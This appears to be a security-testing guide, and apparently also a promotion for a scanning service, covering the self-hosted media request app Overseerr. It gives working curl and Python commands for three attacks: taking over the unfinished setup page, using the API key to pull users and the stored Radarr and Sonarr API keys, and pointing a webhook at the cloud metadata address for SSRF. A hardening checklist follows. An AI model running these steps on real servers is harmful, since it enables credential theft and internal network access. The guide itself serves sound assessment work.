Overseerr Security Testing: Plex Setup Hijack, API Key, Request Management, and Webhook SSRF

Overseerr is one of the most widely deployed self-hosted media request management applications, connecting Plex and Jellyfin servers with Radarr and Sonarr to automate movie and TV show downloads. Its security assessment covers: Overseerr's initial setup wizard at /setup uses Plex OAuth to authenticate the first user as admin — if this setup page is still accessible (not yet completed), any visitor with a Plex account can complete setup and claim the Overseerr instance as admin; Overseerr's local API key displayed in Settings > General grants full programmatic access to all Overseerr API endpoints including user management, request approval, and settings — this key is stored in the settings.json file on the server; Overseerr's webhook notification feature makes outbound HTTP POST requests to configured webhook URLs on media request events — webhook URLs targeting internal network addresses create an SSRF vector; and admin users have access to all integrated service credentials including the Radarr API key, Sonarr API key, and Tautulli API key stored in Overseerr settings. This guide covers systematic Overseerr security assessment.

Table of Contents

  1. Plex Setup Page Hijack
  2. API Key Extraction and Abuse
  3. Webhook SSRF
  4. Overseerr Security Hardening

Plex Setup Page Hijack

# Overseerr setup page — accessible before initial configuration is complete
OVERSEERR_URL="https://requests.example.com"

# Check if setup page is still accessible
SETUP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${OVERSEERR_URL}/setup" 2>/dev/null)
echo "Setup page status: ${SETUP_STATUS}"

# If setup is not complete, check the initialization status via API
INIT_STATUS=$(curl -s "${OVERSEERR_URL}/api/v1/status" 2>/dev/null)
echo "Init status: $(echo $INIT_STATUS | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'initialized={d.get(\"initialized\")} version={d.get(\"version\")}')
" 2>/dev/null)"

# If initialized=false, the /setup endpoint accepts a Plex OAuth flow
# Any visitor with a Plex account can complete setup and become Overseerr admin

# Check the API for unauthenticated information disclosure
curl -s "${OVERSEERR_URL}/api/v1/settings/public" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print('Public settings accessible:')
    for k,v in d.items():
        print(f'  {k}: {v}')
except: pass
" 2>/dev/null

API Key Extraction and Abuse

# Overseerr local API key — stored in settings.json on the server
# Displayed in Settings > General in the admin panel
# Grants full access to all Overseerr API endpoints

OVERSEERR_URL="https://requests.example.com"
API_KEY="your-overseerr-api-key"

# With API key: get all users
curl -s "${OVERSEERR_URL}/api/v1/user?take=50" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('results',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"displayName\",\"?\")} ({u.get(\"email\",\"?\")}) permissions={u.get(\"permissions\")}')
" 2>/dev/null

# Get all integrated service credentials (Radarr, Sonarr API keys)
curl -s "${OVERSEERR_URL}/api/v1/settings/radarr" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
services = json.load(sys.stdin)
for s in services:
    print(f'Radarr: {s.get(\"hostname\")}:{s.get(\"port\")} apiKey={s.get(\"apiKey\",\"\")}')
" 2>/dev/null

curl -s "${OVERSEERR_URL}/api/v1/settings/sonarr" \
  -H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
services = json.load(sys.stdin)
for s in services:
    print(f'Sonarr: {s.get(\"hostname\")}:{s.get(\"port\")} apiKey={s.get(\"apiKey\",\"\")}')
" 2>/dev/null

Webhook SSRF

# Overseerr webhook notifications make outbound HTTP POST requests
# Configure webhook URL to internal address for SSRF testing

OVERSEERR_URL="https://requests.example.com"
API_KEY="your-overseerr-api-key"

# Add webhook notification pointing to internal URL
curl -s -X POST "${OVERSEERR_URL}/api/v1/settings/notifications/webhook" \
  -H "X-Api-Key: ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true,
    "types": 2,
    "options": {
      "webhookUrl": "http://169.254.169.254/latest/meta-data/",
      "jsonPayload": "{\"test\": true}"
    }
  }' 2>/dev/null

# Trigger the webhook by creating a media request
# Overseerr will POST to the webhook URL, enabling SSRF
# Check the webhook test endpoint
curl -s -X POST "${OVERSEERR_URL}/api/v1/settings/notifications/webhook/test" \
  -H "X-Api-Key: ${API_KEY}" \
  -H "Content-Type: application/json" 2>/dev/null

Overseerr Security Hardening

Overseerr Security Hardening Checklist:
Security TestMethodRisk
Plex OAuth setup hijack at /setupGET /setup before initialization complete — any visitor with a Plex account can complete setup via OAuth flow and claim admin access to the Overseerr instanceCritical
Local API key extraction from settings.jsonAccess settings.json on filesystem or Settings > General in admin panel — API key grants full access to user management, service credentials, and all request dataHigh
Radarr/Sonarr API key exposure via settings APIGET /api/v1/settings/radarr and /sonarr with API key — returns hostname, port, and API keys for all configured Radarr and Sonarr instancesHigh
Webhook SSRF to internal servicesPOST /api/v1/settings/notifications/webhook with internal URL + POST /test — Overseerr server makes outbound HTTP POST to the configured URL enabling SSRF to cloud metadata and internal servicesHigh
User permission escalation via APIPUT /api/v1/user/{id} with elevated permissions bitmask — admin API key can escalate any user to admin or grant broad request management permissionsMedium
All request history accessible to adminGET /api/v1/request with admin token — returns full media request history for all users including what media was requested and approvedMedium

Automate Overseerr Security Testing

Ironimo tests Overseerr deployments for Plex OAuth setup hijacking via the /setup endpoint before initialization is complete, local API key exposure granting full admin API access, Radarr and Sonarr API key extraction from the settings API, webhook SSRF triggering outbound HTTP requests to internal services and cloud metadata endpoints, user permission escalation via admin API, and all request history enumeration.

Start free scan